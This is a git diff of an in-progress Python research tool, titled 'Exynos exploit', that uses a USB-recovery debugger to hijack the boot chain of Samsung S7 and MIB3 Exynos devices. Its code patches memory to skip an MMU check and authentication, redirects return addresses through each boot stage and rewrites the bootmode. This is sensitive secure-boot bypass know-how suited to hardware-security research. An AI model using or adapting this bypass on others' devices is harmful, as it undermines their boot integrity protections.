print(f'SCTLR_EL3: {hex(self.cd.arch_dbg.state.SCTLR_EL3)}, SCTLR_EL2: {hex(self.cd.arch_dbg.state.SCTLR_EL2)}, SCTLR_EL1: {hex(self.cd.arch_dbg.state.SCTLR_EL1)}')
print(f'MAIR_EL3: {hex(self.cd.arch_dbg.state.MAIR_EL3)}, MAIR_EL2: {hex(self.cd.arch_dbg.state.MAIR_EL2)}, MAIR_EL1: {hex(self.cd.arch_dbg.state.MAIR_EL1)}')
print(f'Current EL: {hex(self.cd.arch_dbg.state.CURRENT_EL)}')
def debugger_boot(self):
"""
Boot into USB recovery mode using the debugger.
@ -632,34 +649,23 @@ class ExynosDevice():
self.cd.arch_dbg.state.print_ctx()
DEBUGGER_ADDR = 0x2069000 # 0x2069000
# Dump contents of TTBR0_EL3 from memory into a pandas dataframe and write it to a pickle file
#import pandas as pd
#blub = self.cd.memdump_region(0x02035000, 0x1000)
#try:
# df = pd.read_pickle('ttbr0_el3.pkl')
# # Concat data to existing dataframe
# df = pd.concat([df, pd.Series([blub])], ignore_index=True)
#except:
# df = pd.DataFrame()
# df['TTBR0_EL3'] = [blub]
#df.to_pickle('ttbr0_el3.pkl')
# Relocate debugger
debugger = open("../../dump/reloc_debugger_0x11200000.bin", "rb").read()
self.relocate_debugger(debugger=debugger, entry=0x11200000, storage=0x11203000, g_data_received=0x11204000)
DEBUGGER_ADDR = 0x11200000
# Load bootloader stages
bl1 = open("../S7/g930f_latest/g930f_sboot.bin.1.bin", "rb").read()
bl31 = open("../S7/g930f_latest/g930f_sboot.bin.2.bin", "rb").read()
bl2 = open("../S7/g930f_latest/g930f_sboot.bin.3.bin", "rb").read()
bl33 = open("../S7/g930f_latest/g930f_sboot.bin.4.bin", "rb").read()
if args.MIB3:
bl1 = open("../mib3/boot_partitions/fwbl1_a.bin", "rb").read()
bl1 = open("../mib3/modified_boot/fwbl1_mod.bin", "rb").read()
bl31 = open("../mib3/boot_partitions/el3_mon_a.bin", "rb").read()
bl2 = open("../mib3/boot_partitions/bl2_a.bin", "rb").read()
bl33 = open("../mib3/boot_partitions/u-boot_a.bin", "rb").read()
#bl33 = open("../mib3/modified_boot/u-boot_mod.bin", "rb").read()
# Test debugger connection
self.cd.test_connection()
@ -725,7 +731,7 @@ class ExynosDevice():
assert self.usb_read(0x200) == b"GiAs", "Failed to jump back to debugger"
# Get current LR, and store it. Then set LR to debugger.
lr = self.cd.arch_dbg.state.LR
BL1_RA = self.cd.arch_dbg.state.LR
self.cd.arch_dbg.state.LR = DEBUGGER_ADDR
self.cd.restore_stack_and_jump(hijacked_fun) # will jump back to debugger after downloading the next stage (before executing it)
@ -741,32 +747,34 @@ class ExynosDevice():
# self.cd.memwrite_region(0x020200dc, p32(hijacked_fun)) # to restore the oginal boot flow, without getting back to the debugger
# Set LR to continue boot flow
self.cd.restore_stack_and_jump(lr)
self.cd.restore_stack_and_jump(BL1_RA)
# Assure return to debugger
time.sleep(2)
self.usb_read(0x200) # GiAs
# self.cd.memwrite_region(0x02031008, b"ELH")
# self.cd.memwrite_region(0x02031008, b"ELH") # Patch something in BL31
# Get pointer to BL31
BL31_POINTER = self.cd.arch_dbg.state.LR
# Get pointer to where BL31 returns to
BL31_RA_PTR = self.cd.arch_dbg.state.LR
self.cd.arch_dbg.state.LR = DEBUGGER_ADDR
TTBR0_EL3 = 0x02035600 # Zeroed out
# Modifies/disables setting up MMU (but is set up eventually) -> MMU says 0x0 instead of 0x1, but still little access (and proper USB recovyer boot!?)
MMU_CHECK = 0x020244e8
if args.MIB3:
MMU_CHECK = 0x0202a314
if not args.MIB3:
MMU_CHECK = 0x020244e8
self.cd.memwrite_region(MMU_CHECK, struct.pack('>I', 0x1f0c00f1)) # Change check to always be false
# DWC3 OTG update mode -> Might be useful at some point?
# self.cd.memwrite_region(0x02021580, struct.pack('>I', 0x00000000))
# Jump into BL31 and execute it
#BL31_POINTER = 0x02024010
#if args.MIB3:
# BL31_POINTER = 0x020c0000
BL31_POINTER = 0x02024010
if args.MIB3:
BL31_POINTER = 0x0202a010
self.cd.restore_stack_and_jump(BL31_POINTER) #BL31_RA_PTR
else:
self.cd.restore_stack_and_jump(BL31_POINTER)
# Obligatory reconnect and check of debugger
@ -775,23 +783,21 @@ class ExynosDevice():
self.usb_read(0x200) # GiAs
BL31_ra = self.cd.arch_dbg.state.LR
self.cd.arch_dbg.fetch_special_regs()
print(f'MMU is {hex(self.cd.arch_dbg.state.R_SCTLR_EL3.mmu)} (0x1=enabled, 0x0=disabled)')
print(f'TTBR0_EL3: {hex(self.cd.arch_dbg.state.TTBR0_EL3)}, TTBR1_EL2: {hex(self.cd.arch_dbg.state.TTBR0_EL2)}, TTBR0_EL1: {hex(self.cd.arch_dbg.state.TTBR0_EL1)}')
print(f'VBAR_EL3: {hex(self.cd.arch_dbg.state.VBAR_EL3)}, VBAR_EL2: {hex(self.cd.arch_dbg.state.VBAR_EL2)}, VBAR_EL1: {hex(self.cd.arch_dbg.state.VBAR_EL1)}')
print(f'TCR_EL3: {hex(self.cd.arch_dbg.state.TCR_EL3)}, TCR_EL2: {hex(self.cd.arch_dbg.state.TCR_EL2)}, TCR_EL1: {hex(self.cd.arch_dbg.state.TCR_EL1)}')
print(f'SCTLR_EL3: {hex(self.cd.arch_dbg.state.SCTLR_EL3)}, SCTLR_EL2: {hex(self.cd.arch_dbg.state.SCTLR_EL2)}, SCTLR_EL1: {hex(self.cd.arch_dbg.state.SCTLR_EL1)}')
print(f'MAIR_EL3: {hex(self.cd.arch_dbg.state.MAIR_EL3)}, MAIR_EL2: {hex(self.cd.arch_dbg.state.MAIR_EL2)}, MAIR_EL1: {hex(self.cd.arch_dbg.state.MAIR_EL1)}')
print(f'Current EL: {hex(self.cd.arch_dbg.state.CURRENT_EL)}')
self.print_registry_status()
# self.cd.arch_dbg.fetch_special_regs() # -> Does not work with original debugger (?->memory overlap somewhere). Only with relocated debugger.
# self.cd.arch_dbg.fetch_special_regs() # -> Does not work with, "--MIB3" original debugger (?->memory overlap somewhere). Only with relocated debugger.
VBAR_EL3 = self.cd.arch_dbg.state.VBAR_EL3
self.test_write_execute(0x11207010)
#if args.MIB3:
# self.cd.arch_dbg.state.LR = DEBUGGER_ADDR
if args.MIB3:
self.cd.arch_dbg.state.LR = DEBUGGER_ADDR
self.cd.restore_stack_and_jump(hijacked_fun)
self.cd.memwrite_region(0x020553e4, b"\x1f\x50\x00\x71")
self.cd.memwrite_region(0x020553f8, b"\x1f\x50\x00\x71")
self.cd.restore_stack_and_jump(hijacked_fun) # Jumps to function that waits for next boot stage
# ==== Stage 4 BL2 ====
self.send_normal_stage(bl2)
@ -799,38 +805,31 @@ class ExynosDevice():
self.connect_device()
self.usb_read(0x200) # GiAs
self.cd.arch_dbg.fetch_special_regs()
print(f'MMU is {hex(self.cd.arch_dbg.state.R_SCTLR_EL3.mmu)} (0x1=enabled, 0x0=disabled)')
print(f'TTBR0_EL3: {hex(self.cd.arch_dbg.state.TTBR0_EL3)}, TTBR1_EL2: {hex(self.cd.arch_dbg.state.TTBR0_EL2)}, TTBR0_EL1: {hex(self.cd.arch_dbg.state.TTBR0_EL1)}')
print(f'VBAR_EL3: {hex(self.cd.arch_dbg.state.VBAR_EL3)}, VBAR_EL2: {hex(self.cd.arch_dbg.state.VBAR_EL2)}, VBAR_EL1: {hex(self.cd.arch_dbg.state.VBAR_EL1)}')
print(f'TCR_EL3: {hex(self.cd.arch_dbg.state.TCR_EL3)}, TCR_EL2: {hex(self.cd.arch_dbg.state.TCR_EL2)}, TCR_EL1: {hex(self.cd.arch_dbg.state.TCR_EL1)}')
print(f'SCTLR_EL3: {hex(self.cd.arch_dbg.state.SCTLR_EL3)}, SCTLR_EL2: {hex(self.cd.arch_dbg.state.SCTLR_EL2)}, SCTLR_EL1: {hex(self.cd.arch_dbg.state.SCTLR_EL1)}')
print(f'MAIR_EL3: {hex(self.cd.arch_dbg.state.MAIR_EL3)}, MAIR_EL2: {hex(self.cd.arch_dbg.state.MAIR_EL2)}, MAIR_EL1: {hex(self.cd.arch_dbg.state.MAIR_EL1)}')
print(f'Current EL: {hex(self.cd.arch_dbg.state.CURRENT_EL)}')
self.print_registry_status()
# Restore bootflow
print(self.cd.arch_dbg.state.print_ctx())
print(self.cd.arch_dbg.state.print_ctx()) # X29 here determines where the 'authentication' is taking place
BL33_ptr = self.cd.arch_dbg.state.X0
BL33_LR = self.cd.arch_dbg.state.LR
self.cd.arch_dbg.state.LR = DEBUGGER_ADDR
# self.cd.memwrite_region(0x020200dc, p32(hijacked_fun)
# Disable this to keep access to the debugger after senindg the next stage
self.cd.arch_dbg.state.X23 = DEBUGGER_ADDR # TEMPORARY
#self.cd.arch_dbg.state.X23 = DEBUGGER_ADDR # TEMPORARY
self.cd.restore_stack_and_jump(hijacked_fun)
time.sleep(1)
self.connect_device()
# Add 00 to the end of bl33
#bl33 += b"\x00"
self.send_normal_stage(bl33) # Never return/completes
self.connect_device()
self.usb_read(0x200) # GiAs
self.usb_read(0x200)
# print_payload = open("/home/jonathan/projects/samsung_s7/source/screen_print/print.bin", "rb").read()
# off = stage4.find(bytes.fromhex("fd 7b bd a9 fd 03 00 91 f3 53 01 a9 d4 08 00 d0 f3 03 01 2a a0 17 00 f9"))
# stage4 = stage4[off:] + print_payload + stage4[off+len(print_payload):]
# Change bootmode to SDCARD (allow normal booting, if pressing volume up)
# Change bootmode on S7 to SDCARD (allow normal booting, if pressing volume up)
if not args.MIB3:
self.cd.memwrite_region(0x8f01dbdc, struct.pack('>I', 0x03030035))
self.cd.memwrite_region(0x8f01dbe0, struct.pack('>I', 0x80f9ff34))
@ -840,11 +839,82 @@ class ExynosDevice():
self.cd.memwrite_region(0x8f021bbc, struct.pack('>I', 0x20008052))
# Jump into a different function that continues the boot flow (different than BL33_LR)
self.cd.restore_stack_and_jump(0x02024e5c)
BL33_AUTH = 0x02024e5c
if args.MIB3:
self.cd.memwrite_region(0xcf08aa59, b"\x4c\x44\x46\x58") #58 was 57 in INIT print
self.cd.memwrite_region(0xcf026b94, struct.pack('>I', 0x210000b4)) # Change bootmode to GPT
BL33_AUTH = 0x202ae18 # BL33_LR
# Modifying return values to continue boot flow
#self.cd.memwrite_region(0xcf05dea8, b"\xa0\x1f\x42\xf8")
# Print boot info from cf4dfb28
print(self.cd.memdump_region(0xcf4dfb28, 0x32))
# Start boot from BL33
self.cd.arch_dbg.state.LR = DEBUGGER_ADDR
self.cd.restore_stack_and_jump(BL33_AUTH)
time.sleep(1)
self.usb_read(0x200)
self.cd.arch_dbg.state.LR = DEBUGGER_ADDR
self.cd.arch_dbg.state.X0 = 0x0
self.cd.restore_stack_and_jump(0xcf05dd00)
self.connect_device()
self.usb_read(0x200)
# Print something over uart
self.write_uart(DEBUGGER_ADDR, 0xcf4dfb58)
# Try to continue the bootflow
self.cd.restore_stack_and_jump(0xcf0052f8)
# NOT WORKING
self.read_ufs(DEBUGGER_ADDR)
pass
def write_uart(self, DEBUGGER_ADDR, data_pointer):
self.cd.arch_dbg.state.LR = DEBUGGER_ADDR
curr_X0 = self.cd.arch_dbg.state.X0
curr_X1 = self.cd.arch_dbg.state.X1
self.cd.arch_dbg.state.X0 = data_pointer
self.cd.arch_dbg.state.X1 = 0x0
self.cd.restore_stack_and_jump(0xcf05dd6c)
time.sleep(0.5)
self.connect_device()
self.usb_read(0x200)
self.cd.arch_dbg.state.X0 = curr_X0
self.cd.arch_dbg.state.X1 = curr_X1
return
def read_ufs(self, DEBUGGER_ADDR):
"""
Read UFS
Argument structure is: param1, param2[]. With param2 being the cmd list
param1 = offset
"""
self.cd.arch_dbg.state.LR = DEBUGGER_ADDR
ufs_read_addr = 0xcf00eaf4
self.cd.arch_dbg.state.X0 = 0x0
self.cd.arch_dbg.state.X1 = 0x1
self.cd.restore_stack_and_jump(ufs_read_addr)
time.sleep(1)
self.connect_device()
pass
if __name__ == "__main__":
arg = argparse.ArgumentParser("Exynos exploit")

Binary file not shown.